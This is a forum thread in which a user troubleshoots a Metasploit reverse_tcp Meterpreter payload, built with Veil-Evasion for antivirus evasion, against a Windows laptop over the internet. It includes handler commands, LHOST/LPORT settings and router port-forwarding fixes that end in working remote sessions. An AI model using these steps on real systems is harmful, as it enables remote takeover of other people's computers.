Meterpreter: Handler Failed to Bind

Hello community!

I have searched for a solution in and out of Null Byte but it didn't help me yet... I know that there are 2 other topics on this problem but none of them were helpfull enough I believe...

I am trying to exploit a laptop with windows 10 in WAN. I have 2 laptops by my side, each with it's own ISP (one of them is a mobile ISP).

In order to do so, I created an .exe file using veil-evasion with the following :

payload = windows/meterpreter/reverse_tcp
lhost= - public IP -
lport= 4444

I portforwarded port 4444 in my router for TCP and UDP protocols to my local ip ( Then , I opened a multi handler on the attacker:

use exploit/multi/handler
lhost = - public IP-
lport = 4444

Afterwards, I ran the encrypted exe file in the victim PC and ran "exploit" in the attacker. This eventually gave me a "Handler failed to bind" error while meterpreter connection won't establish.

I have looked everywhere but I still can't understand what causes this. Perhaps these exploits won't work on windows 10? Thank you in advance!

Join the Next Reality AR Community

Get the latest in AR — delivered straight to your inbox.

20 Responses

Have You tried setting the LHOST on your handler to your private IP?


Yes, I have... doesn't seem to work either.

I forgot to mention that I have done the exact same procedure within a LAN and It worked. I did, however, exploit a Windows 7.

Could I have done portfowarding incorrectly? Is there anyway to confirm this? Thank you!

You can check on canyouseeme if you port forwarded it right.

I might be wrong, but aren't open ports and forwarded ports different things? Anyway, canyouseeme states that 4444 is closed on my public IP. However, any other port (80, 21, 53, 110) is also closed.

Correct. your port can be opened, but not forwarded right, and that is mostly the case.

After you run the metasploit listener on your pc, port 4444 is definetly open on your pc. But unless you forward it right, you won't get a connection from the outside. As canyouseeme can't see you, you probably did not forward correctly.

Check again your forwarding settings, and remember that if you're using a 3G router, your operator might NAT you, making even a correct forward useless.

More details on your router and connection would help.

A port will never appear open/ forwarded to an internal ip if there is no listener bound to it. So first open the handler and then check the port on the site.

hmm... you can still forward a port from router to your internal lan pc, even if there is no service (or no pc) listening to it! If that port is also open on target machine, a connection will be established, otherwise it won't, but your router can be set to be forward anyway.

For the second part, totally agree: first open the handler and then check the port. But you must have forwarded it first.

Opened the handler, still, canyouseeme didn't "see" my 4444. This is very strange...

My router is a CVE-30360 by Hiltron.

I have a 100 mb/s connection, but i am unsure of what any other details can be usefull.

I double checked my port fowarding settings, and nothing seems to be off: 2 ports to be forwarded (4444 and 6996) to my private ip. It asks if the exiting port is the same as the entering port, I said yes. So, in short:

4444(TCP) -> 4444 |
4444(UDP) -> 4444 |
6996(TCP)-> 6996 |
6996(UDP)-> 6996 |

Nonetheless, i rekon that if I use an ethernet connection, I can confirm that its the routers problem, right?
I am now exploiting a Windows 7 operating system, one which I was successful in exploiting within a LAN.

Thank you for your feedback!

Can you type the exact error? It is most likely that something else is using port 4444. run netstat -tulpn | grep :4444 to see if anything uses the port you specified so you can kill the process. Or just change the port. This might not be the case hence I'm asking for the exact error.

There was no further info on the error... It just stated "Handler fialed to bind":
msf exploit(handler) > set LHOST 109.*.*.*
LHOST => 109.*.*.*
msf exploit(handler) > exploit

  • Handler failed to bind to 109.*.*.*:4444

Started reverse handler on
* Starting the payload handler...


And this is it. I tried a different port, 6996, and the same thing happened.
Regarding if the port is used or not:

root@D:~# netstat -tulpn | grep :4444
tcp 0 0 LISTEN 3237/ruby

Doesn't seem like it...

There it is. You used a public WAN ip for LHOST. Lhost should always be set to for all interfaces. But msf already corrected that for you and instead of 109.** it started the handler on , so there is no problem there. You could just proceed and connect to the handler fom the victim pc. For future reference LHOST is the local host address and as I said should be set to (self). You only need to change it if you are dual homed and have more than one network adapter.

Unfortunately, it still won't connect... I can wait for 10 minutes or 1 hour that I sill won't get the "meterpreter>" .
I only have 1 network adapter, so I guess there is no problem there.


Hello community. After reading a lot and trying different things, I think I managed to work it out. I was successful on starting meterpreter in a WAN laptop. As suggested before, I set my LHOST to my private ip. Furthermore, I went to router and enabled all traffic to be forward to my laptop, not just one port. noticed port 4444 opened and the connection went through.

However, all sessions die after 2 minutes or so with the following error:

  • meterpreter >

Meterpreter session 2 is not valid and will be closed

I am unsure of the consequences and how safe it is to have all traffic forwarded to my laptop though. Any way, thank you all for the contribution as it was quite helpful

I will lurk more and let know the results any case another user comes to the same errors as me


Hello community. Again for future reference in case anyone comes to the same problems as I did.

I created a rule in the router to forwards all TCP/UDP trafic to my local ip. By using port 90 and a reverse tcp, I managed to get a meterpreter session in a WAN computer! Also, the sessions takes around 10 seconds to start as soon as the payload is run. No problmes detected.

Cheers to all

Thanks this post helped me greatly., cheers

Hi, pliz I need help I have the problem I failed to fix it

Please Also Tell Me How To Do This.

You did a great job by keeping a follow-up of all the things which you did. This surely is going to help a lot of newbies.


EATS THE WORLD can you please help me as i didnt understood what you did so can you please help me as i am also getting the same problem what you use to get .

Share Your Thoughts

  • Hot
  • Active